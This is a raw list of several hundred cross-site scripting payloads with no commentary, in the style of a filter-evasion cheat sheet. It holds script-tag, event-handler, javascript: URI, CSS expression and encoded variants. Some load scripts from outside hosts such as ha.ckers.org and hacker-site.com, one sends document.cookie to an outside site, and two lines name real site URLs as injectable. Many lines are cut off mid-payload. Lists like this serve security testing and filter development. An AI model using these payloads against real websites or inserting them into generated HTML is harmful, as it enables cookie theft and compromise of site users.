<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%2
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061'
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
```

```
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x0
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&

'';!--"<XSS>=&{()}
'>//\\,<'>">">"*"
'); alert('XSS
<script>alert(1);</script>
<script>alert('XSS');</script>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
"><script>alert(0)</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">
<IMG DYNSRC=\"javascript:alert('XSS')\">
<font style='color:expression(alert(document.cookie))'>
<img src="javascript:alert('XSS')">
<script language="JavaScript">alert('XSS')</script>
<body onunload="javascript:alert('XSS');">
<body onLoad="alert('XSS');"
[color=red' onmouseover="alert('xss')"]mouse over[/color]
"/></a></><img src=1.gif onerror=alert(1)>
window.alert("Bonjour !");
<div style="x:expression((window.r==1)?'':eval('r=1;
alert(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"><script alert(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'">><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
<script>var var = 1; alert(var)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
" onfocus=alert(document.domain) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
<br size=\"&{alert('XSS')}\">
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert())>
</script><script>alert(1)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

```
[color=red width=expression(alert(123))][color]
<BASE HREF="javascript:alert('XSS');//">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(123)</script>
<body onLoad="while(true) alert('XSS');">
'"></title><script>alert(1111)</script>
</textarea>'"><script>alert(document.cookie)</script>
'""><script language="JavaScript"> alert('X \nS \nS');</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
'></select><script>alert(123)</script>
'>"><script src = 'http://www.site.com/XSS.js'></script>
}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
<SCRIPT>document.write("XSS");</SCRIPT>
a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
='><script>alert("xss")</script>
<script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
<body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
src="http://www.site.com/XSS.js"></script>
data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
!--" /><script>alert('xss');</script>
<script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
'); alert('xss'); var x='
\\'); alert(\'xss\');var x=\'
//--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
>"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
<img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\
</body>
</html>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> alert(“XSS”); </SCRIPT>
<BODY ONLOAD=alert("XSS")>
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG SRC="javascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromChar
&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}
&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;
&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;
```

```
&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;
&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;
&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;
&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;
&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;
&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;
&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njcmlwd
&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;
&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&ap
&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;
a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS
&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;
&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;
&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;
&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt
&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt
&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;
&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;
&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;
&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;
&lt;HTML xmlns:xss&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&qu
&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;
&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;!--[if gte IE 4]&gt;
&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quo
&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;
&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://h
&lt;? echo(&apos;&lt;SCR)&apos;;
&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;
&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;
&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;
&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;
&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&
&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&am
&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\
&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x6
&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;
\&quot;;alert(&apos;XSS&apos;);//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;
&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a
perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out
perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out
```

```
&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js
&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;
&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;
&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;
&lt;SCRIPT&gt;a=/XSS/
&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;
&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;
&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<script <B>document.vulnerable=true;</script>
<img SRC="javascript:document.vulnerable=true;"
<iframe src="javascript:document.vulnerable=true; <
<script>a=/XSS/\ndocument.vulnerable=true;</script>
\";document.vulnerable=true;;//
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></
<XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATA
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#defa
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=tr
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">
<img src="javascript:document.vulnerable=true;">
<img dynsrc="javascript:document.vulnerable=true;">
<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">
<img src="mocha:document.vulnerable=true;">
<img src="livescript:document.vulnerable=true;">
<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<img src="blah"onmouseover="document.vulnerable=true;">
<img src="blah>" onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script =">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
&quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
&lt;/br style=a:expression(alert())&gt;
&lt;scrscriptipt&gt;alert(1)&lt;/scrscriptipt&gt;
&lt;br size=\&quot;&amp;{alert(&#039;XSS&#039;)}\&quot;&gt;
perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(\&quot;XSS\&quot;)&gt;\&quot;;&#039; &gt; out
perl -e &#039;print \&quot;&lt;SCR\0IPT&gt;alert(\&quot;XSS\&quot;)&lt;/SCR\0IPT&gt;\&quot;;&#039; &gt; out
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
```

```
"><script>alert('XSS')</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,8
';';;!--";<;XSS>;=&;{()}
<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;
<;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
<;BASE HREF=";javascript:alert(';XSS';);//";>;
<;BGSOUND SRC=";javascript:alert(';XSS';);";>;
<;BODY BACKGROUND=";javascript:alert(';XSS';);";>;
<;BODY ONLOAD=alert(';XSS';)>;
<;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>;
<;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>;
<;DIV STYLE=";width: expression(alert(';XSS';));";>;
